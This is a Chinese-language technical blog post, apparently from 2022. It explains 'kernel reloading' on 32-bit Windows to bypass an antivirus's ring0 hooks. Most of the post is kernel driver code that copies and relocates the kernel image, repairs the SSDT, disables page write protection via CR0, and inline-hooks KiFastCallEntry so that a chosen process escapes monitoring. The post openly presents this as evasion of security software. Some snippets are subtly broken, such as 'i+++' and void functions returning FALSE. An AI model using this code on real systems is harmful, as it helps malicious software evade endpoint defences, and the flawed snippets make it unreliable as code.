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ring0下通过内核重载绕过杀软hook
内核重载听起来是一个很高大上的概念，但其实跟PE的知识息息相关，那么为什么会有内核重载的出现呢？我们知道从ring3进入ring0需要通过int2e/sysenter(syscall)进入ring0，而进入ring0之后又会通过KiFastCallEntry/KiSystemService去找SSDT表对应响应的内核函数，那么杀软会在这两个地方进行重点盯防。
0x00 前言 ======= 内核重载听起来是一个很高大上的概念，但其实跟PE的知识息息相关，那么为什么会有内核重载的出现呢？ 我们知道从ring3进入ring0需要通过`int2e/sysenter(syscall)`进入ring0，而进入ring0之后又会通过`KiFastCallEntry/KiSystemService`去找SSDT表对应响应的内核函数，那么杀软会在这两个地方进行重点盯防。 首先是对`int2e/sysenter`的盯防，我们知道大多数函数都是通过一系列的调用链，最终找到`ntdll.dll`里面的函数，找到调用号后通过`int2e/sysenter`的方式进入ring0，杀软首先会hook `ntdll.dll`来实现监测的效果，这里的话之前已经介绍过了，我们可以通过自己逆向的方式通过汇编定位到`int2e/sysenter`的地址自己重写ring3部分的api来达到绕过杀软的效果 那么再看ring0，我们知道ring3函数进入ring0之后会去找SSDT表，那么这里就有两种监测的方式，一种的话直接在`KiSystemService/KiFastCallEntry`挂个钩子，因为无论是什么函数，`KiSystemService/KiFastCallEntry`是必经之路，还有一种的话就是通过hook SSDT表里面的函数，但是那样的话会很麻烦，所以杀软一般都是通过前者来实现ring0的监控 我们这里以某数字杀软为例，通过汇编代码的对比，发现某数字杀软在`804de978`处更改了一个`jmp`指令，我们可以看一下前后的对比 ```c++ hook前： sub esp,ecx shr ecx,2 hook后： jmp 867bf958 ```   我们知道要使用Inline hook必须要有5个字节的空间，但是`KiFastCallEntry`这个函数会有很多寄存器的操作，我们如果随便挑选5个字节去操作的话很可能会蓝屏，我们可以看一下某数字杀软挑选的hook点。在这个地方不仅能得到ssdt的地址，还能得到ssdt地址总表，更能得到ssdt索引号，也就是在这个地方不仅不用我们进行寄存器的操作避免蓝屏，还能够直接拿到ssdt表的信息，可谓是风水宝地 那么我们知道了杀软在ring0的监测原理，我们该如何进行绕过呢？ 这里就可以使用到内核重载，内核重载顾名思义，就是复制一份内核的代码，当我们复制一份内核的代码之后，让程序走我们自己复制的这一份内核代码，杀软监控只能监控之前的那份内核代码，从而绕过ring0的监控 0x01 思路 ======= 复制内核也是有讲究的，我们知道内核文件本质上也遵循PE结构，那么PE文件的文件偏移和内存偏移也是我们需要考量的一个点，不能说我们直接将内核文件copy一份就能够跑起来，这里就需要进行PE的拉伸。那么既然有PE的拉伸，就要涉及到重定位表，我们要想定位到函数，这里肯定就需要进行重定位表的修复 在PE拉伸完成和修复重定位表过后，我们获得了一份新的内核，但是这里SSDT因为是直接拿过来的，地址肯定会发生变化，所以这里就需要进行SSDT表的修复 在上面的一系列操作完成之后，我们就可以进行hook操作，这里我们上面已经分析过`KiFastCallEntry`的hook方式，我们在同样的位置设置一个hook即可达到内核重载的效果 0x02 PE拉伸&重定位表修复 ==================== 这里我把PE拉伸跟重定位表的修复放到一个函数里面，首先我们要进行打开文件的操作，那么这里就要实现几个关于文件的函数操作 主要用到`ZwCreateFile`、`ZwReadFile`、`ExAllocatePool`、`ExFreePool`这几个函数 ```c++ // 打开文件 VOID OpenFile(PHANDLE phFile, PUNICODE_STRING DllName) { HANDLE hFile = NULL; NTSTATUS status = STATUS_SUCCESS; IO_STATUS_BLOCK IoStatus; OBJECT_ATTRIBUTES FileAttrObject; // 创建文件属性对象 // 初始化 OBJECT_ATTRIBUTES 结构体 InitializeObjectAttributes(&FileAttrObject, DllName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL); status = ZwCreateFile(&hFile, GENERIC_ALL, &FileAttrObject, &IoStatus, NULL,FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ | FILE_SHARE_DELETE | FILE_SHARE_WRITE, FILE_OPEN, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0); if (!NT_SUCCESS(status)) { DbgPrint("文件创建不成功\n"); return FALSE; } if (phFile) { *phFile = hFile; } return TRUE; } // 获取指定文件大小 ULONG GetFileSize(HANDLE hFile) { IO_STATUS_BLOCK IoStatus; NTSTATUS status = STATUS_SUCCESS; FILE_STANDARD_INFORMATION Fileinfo; // 获取指定文件大小 status = ZwQueryInformationFile(hFile, &IoStatus, &Fileinfo, sizeof(Fileinfo), FileStandardInformation); if (!NT_SUCCESS(status)) { DbgPrint("文件信息查询失败\n"); return FALSE; } return Fileinfo.EndOfFile.LowPart; } // 读取文件到内存 VOID ReadFile(HANDLE hFile, CHAR* Buffer, ULONG readSize) { IO_STATUS_BLOCK IoStatus; NTSTATUS status = STATUS_SUCCESS; // 读取指定文件到内存中 status = ZwReadFile(hFile, NULL, NULL, NULL, &IoStatus, Buffer, readSize, NULL, NULL); if (!NT_SUCCESS(status)) { DbgPrint("文件读取失败\n"); return FALSE; } } ``` 那么我们首先读取文件到内存 ```c++ OpenFile(&hFile, DllName); FileSize = GetFileSize(hFile); szBuffer = (PUCHAR)ExAllocatePool(PagedPool, FileSize); ReadFile(hFile, szBuffer, FileSize); ``` 然后进行拉伸PE的操作 首先判断是否为PE文件，即4D5A ```c++ if (*(PSHORT)szBuffer == 0x5A4D) ``` 然后定位到NT头，偏移为0x3c。判断一下是否为5045，即PE标志  ```c++ PUCHAR NTHeader = *(PULONG)(szBuffer + 0x3C) + szBuffer; if (*(PULONG)NTHeader == 0x4550) ``` 然后获取一下可选PE头里面的`SizeOfImage`和`SizeOfHeaders`，这里偏移为`SizeOfImage`的偏移为 0x18+0x38 = 0x50，同理`SizeOfHeaders`的偏移为0x54  ```c++ // 获取SizeOfImage ULONG SizeOfImage = *(PULONG)(NTHeader + 0x50); // 获取SizeOfHeaders ULONG SizeOfHeaders = *(PULONG)(NTHeader + 0x54); ``` 然后使用`ExAllocatePool`申请一块空间并用`MmIsAddressValid`判断是否可用，避免蓝屏 ```c++ PUCHAR szBufferSize = ExAllocatePool(NonPagedPool, SizeOfImage); if (!MmIsAddressValid(szBufferSize)) // 检验是否该内存是否有权限操作 { DbgPrint("Memory error\n"); return NULL; } ``` 那么我们将PE头拷贝到我们申请的内存空间里面并定义一系列指针指向头 ```c++ // 拷贝PE头 RtlCopyMemory(szBufferSize, szBuffer, PEHeaderSize); // 获取NT头 PIMAGE_NT_HEADERS NtHeader = (PIMAGE_NT_HEADERS)(((PIMAGE_DOS_HEADER)szBufferSize)->e_lfanew + szBufferSize); // 获取标准PE头 PIMAGE_FILE_HEADER FileHeader = &NtHeader->FileHeader; // 获取可选PE头 PIMAGE_OPTIONAL_HEADER OptionalHeader = &NtHeader->OptionalHeader; // 获取可选PE头大小 ULONG SizeOfOptional = FileHeader->SizeOfOptionalHeader; // 获取节的数量 SHORT SectionNumber = FileHeader->NumberOfSections; // 获取节表位置 PUCHAR SectionBaseAddr = (PUCHAR)((PUCHAR)NtHeader + 0x4 + 0x14 + SizeOfOptional); PUCHAR pSectionBaseAddr = SectionBaseAddr; ``` 然后进行节表的拷贝，因为我们已经获取到了节的数量，所以可以直接使用遍历的方式拷贝，这里我们定义三个变量获取节中的`VirtualAddress`、`SizeOfRawData`、`PointerToRawData`属性，分别在0xc、0x10、0x14的位置  ```c++ // 拷贝节 CHAR Name[0x9] = { 0 }; for (int i = 0; i < SectionNumber; i++) { RtlCopyMemory(Name, pSectionBaseAddr, 0x8); DbgPrint(("Name: %s\n", Name)); ULONG PointerToRawData = *(PULONG)(pSectionBaseAddr + 0x14); ULONG SizeOfRawData = *(PULONG)(pSectionBaseAddr + 0x10); ULONG VirtualAddress = *(PULONG)(pSectionBaseAddr + 0xC); RtlCopyMemory(szBufferSize + VirtualAddress, szBuffer + PointerToRawData, SizeOfRawData); pSectionBaseAddr += 0x28; // 下一个节 } ``` 然后我们再对重定位表进行修复，首先看下重定位表的结构，位于数据目录项的第6个 ```c++ typedef struct _IMAGE_DATA_DIRECTORY { DWORD VirtualAddress; DWORD Size; } IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY; ``` 跟导出表相同，VirtualAddress存放的是指向真正重定位表地址的rva，而Size重定位表的大小，通过RVA->FOA在FileBuffer定位后得到真正重定位表的结构如下 ```c++ typedef struct _IMAGE_BASE_RELOCATION { DWORD VirtualAddress; DWORD SizeOfBlock; } IMAGE_BASE_RELOCATION; typedef IMAGE_BASE_RELOCATION ，* PIMAGE_BASE_RELOCATION; ``` 这里的VirtualAddress还是RVA，SizeOfBlock则是重定位表的核心结构，存储的值以字节为单位，表示的是重定位表的大小，那么如果我们要知道重定位表结构的数量该怎么办呢？ 这里规定在最后一个结构的VirtualAddress和SizeOfBlock的值都为0，这里就可以进行判断来获取重定位表有多少个结构 我们来看一看直观的重定位表图，假设我们这里重定位结构的数量为3，那么在最后8字节即VirtualAddress和SizeOfBlock的值都为0，可以说重定位表就是很多个块结构所构成的。  在每一块结构的VirtualAddress和SizeOfBlock里面，都有很多宽度为2字节的十六进制数据，这里我们称他们为具体项。在内存中页大小的值为1000H，即2的12次方，也就是通过这个1000H就能够表示出一个页里面所有的偏移地址。而具体项的宽度为16位，页大小的值为低12位，那么高4位是用来表示什么呢？ 这里高4位只可能有两种情况，0011或0000，对应的十进制就是3或0。 当高4位的值为0011的时候，我们需要修复的数据地址就是VirtualAddress + 低12位的值。例如这里我的VirtualAddress是0x12345678，具体项的数值为001100000001，那么这个值就是有意义的，需要修改的RVA = 0x12345678+0x00000001 = 0x12345679。 当高4位的值为0000的时候，这里就不需要进行重定位的修改，这里的具体项只是用于数据对齐的数据。 也就是说，我们如果要进行重定位表的修改，就只需要判断具体项的高4位是否为0011，若是则进行重定位表的修复即可 实现代码如下 ```c++ KernelBaseRelocation = (PIMAGE_BASE_RELOCATION)(NewKernelImageBase + KernelNtHeaders->OptionalHeader.DataDirectory[5].VirtualAddress); while (KernelBaseRelocation->SizeOfBlock != 0 && KernelBaseRelocation->VirtualAddress != 0) { // 要修改的重定位表的数量 NumberOfModify = (KernelBaseRelocation->SizeOfBlock - 8) / 2; // 得到索引Base的偏移 BaseAddr = (PSHORT)((ULONG)KernelBaseRelocation + 8); while (NumberOfModify--) { //得到Base Base = *BaseAddr; // 判断高4位是否为3，若为3则修改 if (*BaseAddr>>12 == 3) { // 清除属性位 Base = Base & 0x0FFF; // 得到要修改全局变量的索引 PULONG AddOfModify = (PULONG)(NewKernelImageBase + KernelBaseRelocation->VirtualAddress + Base); *AddOfModify = *AddOfModify - KernelNtHeaders->OptionalHeader.ImageBase + (ULONG)OldKernelImageBase; } // 得到下一个BaseAddr BaseAddr++; } // 下一个重定位表 KernelBaseRelocation = (PIMAGE_BASE_RELOCATION)((ULONG)KernelBaseRelocation + KernelBaseRelocation->SizeOfBlock); } ``` 0x03 SSDT表修复 ============ 因为SSDT结构有多层，所以要分别进行运算。首先确定新SSDT在哪个位置，用导出`KeServiceDescriptorTable`导出的老内核的SSDT结构，然后用原来的SSDT地址+相对加载地址即可得到新的SSDT地址。 然后再修正SSDT函数中的地址。方法是在原来的函数地址上+ 相对加载地址，即相对加载地址 = 新内核加载地址 - 老内核加载地址 ```c++ PSystemServiceTable KeServiceTable = KeServiceDescriptorTable; // SSDT PSystemServiceTable KeServiceTableShadow = (PSystemServiceTable)((ULONG)KeServiceTable - 0x40); // SSDTShadow LONG Offset = (LONG)NewKernelBaseAddr - (LONG)KernelBaseAddr; // 新SSDT与旧SSDT的相对偏移 PSystemServiceTable NewKeServiceTable = (PSystemServiceTable)((ULONG)KeServiceTable + Offset); // 新SSDT地址 // 修复 FunctionsAddrTable 、 FunctionsArgsAddrTable 、 FunctionsLimit NewKeServiceTable->FunctionsAddrTable = (PULONG)((ULONG)KeServiceTable->FunctionsAddrTable + Offset); // 函数地址表 NewKeServiceTable->FunctionsArgsAddrTable = (PUCHAR)(KeServiceTable->FunctionsArgsAddrTable + Offset); // 函数参数表 NewKeServiceTable->FunctionsLimit = KeServiceTable->FunctionsLimit; // 服务个数 ``` 然后依次遍历修改 ```c++ for (ULONG i = 0; i < NewKeServiceTable->FunctionsLimit; i+++) {//新的函数地址再加上相对加载地址，得到现在的ssdt函数地址 NewKeServiceTable->FunctionsAddrTable[i] += Offset; } ``` 0x04 hook KiFastCallEntry ========================= 我们在之前已经分析过了hook的地点，那么这里我们直接使用inline hook的方式即可，但是这里只适用于单核环境下，如果是多核情况下发现线程切换的情况下需要使用其他方法来进行hook 这里我们首先写一个判断，如果是我们想要获得的程序进程就走我们自己重载的内核 ```c++ LONG FilterFunc(ULONG ServiceTableBase,ULONG FuncIndex,ULONG OrigFuncAddress) { if (ServiceTableBase==(ULONG)KeServiceDescriptorTable.ServiceTableBase) {//比较当前调用的进程是不是notepad.exe if (!strcmp((char*)PsGetCurrentProcess()+0x174,"notepad.exe")) { return pNewSSDT->ServiceTableBase[FuncIndex]; } } return OrigFuncAddress; } ``` 然后写一个asm使用汇编语句进行调用`FilterFunc` ```c++ VOID __declspec(naked) MyFunction() { __asm { pushad pushfd } // 测试是否hook成功 __asm { push ebx push eax push edi call FilterFunc } // 修改ebx __asm { mov dword ptr ss : [esp + 0x14] , eax } __asm { popfd popad } // 执行原代码 __asm { sub esp, ecx shr ecx, 2 } __asm { jmp RetAddr } } ``` 然后进行Inline hook，这里有一个注意的点就是页在默认情况下是只读的，这里就需要修改cr0寄存器的值来进行读写 ```c++ // 关闭页只读保护 void _declspec(naked) ShutPageProtect() { __asm { push eax; mov eax, cr0; and eax, ~0x10000; mov cr0, eax; pop eax; ret; } } // 开启页只读保护 void _declspec(naked) OpenPageProtect() { __asm { push eax; mov eax, cr0; or eax, 0x10000; mov cr0, eax; pop eax; ret; } } ``` 这里首先定位要hook的地址，利用特征码搜索的方式，我们首先看下要hook的两行的硬编码为`2be1c1e902`，放到一个数组里面 ```c++ UCHAR shell1[] = { 0x2B, 0xE1, 0xC1, 0xE9, 0x02 }; ```  然后为了避免重复的硬编码，这里再判断一下`80542602`这个地方的硬编码是否匹配，若匹配则证明定位准确，同样放在数组里面 ```c++ UCHAR shell2[] = { 0x8B, 0x1C, 0x87 }; ```  这里写一个比较字符的函数 ```c++ ULONG MyCompareString(PUCHAR string1, PUCHAR string2, ULONG number) { // 计数 ULONG i = 0; while (number--) { if (*(string1 + i) == *(string2 + i)) { i++; } else { return FALSE; } } return TRUE; } ``` 然后进行特征码的遍历 ```c++ OldKernelImageBase2 = (PUCHAR)OldKernelImageBase; OldKernelSizeOfImage2 = OldKernelSizeOfImage; while (OldKernelSizeOfImage2--) { if (FALSE == MyCompareString(shell1, OldKernelImageBase2, 5)) { OldKernelImageBase2++; } else { OldKernelImageBase2 = OldKernelImageBase2 - 3; if (FALSE == MyCompareString(shell2, OldKernelImageBase2, 3)) { OldKernelImageBase2 = OldKernelImageBase2 + 4; continue; } else { HookAddr = (ULONG)OldKernelImageBase2 + 3; DbgPrint("hook_address:%x\n", HookAddr); break; } } } ``` 然后进行hook `FastCallEntry`的操作 ```c++ void HookKiFastCallEntry() { UCHAR jmp_code[5]; jmp_code[0]=0xe9; *(ULONG *)&jmp_code[1]=(ULONG)MyKiFastCallEntry-5-hookaddr; RetAd = hookaddr + 5; ShutPageProtect(); //inline hook RtlCopyMemory((PVOID)addr_hookaddr,jmp_code,5); OpenPageProtect(); } ``` 0x05 驱动卸载 ========= 在驱动卸载的地方，我们把原来的硬编码写回，这里为了防止多核状态下的线程切换，直接使用`cmpxchg8b`指令写回 ```c++ VOID __declspec(naked) _fastcall HookFunction(ULONG destination, ULONG exchange, ULONG compare) { __asm { push ebx push ebp mov ebp, ecx // destination = ebp mov ebx, [edx] // exchange低4字节 mov ecx, [edx + 4] // exchange高4字节 mov edx, [esp + 8 + 4] // compare给edx mov eax, [edx] mov edx, [edx + 4] lock cmpxchg8b qword ptr[ebp] pop ebp pop ebx retn 4 } } ``` 0x06 实现效果 ========= 这里首先看一下没有内核重载之前`KiFastCallEntry`的代码  在`80542605`的地方汇编语句为`sub esp,ecx`  然后我们加载驱动，看到hook的地址正是`80542605`  这里我们再定位到`80542605`的位置发现已经是我们自己写的函数  这里跳转过去看看，和我们自己写的`MyFunction`传入的汇编代码是相同的  我们再去通过`KiFastCallEntry`定位一下hook点，发现也已经被修改    这里为了方便查看效果，我用ssdt hook了`NtOpenProcess`函数，使用ollydbg附加进程可以发现没有`notepad.exe`这个进程，这是因为OD走的是原内核，所以在进程列表里面是没有`notepad.exe`这个进程   然后这里卸载驱动  再去定位到`80542605`地址处，已经恢复成原汇编指令 
发表于 2022-03-28 09:37:48
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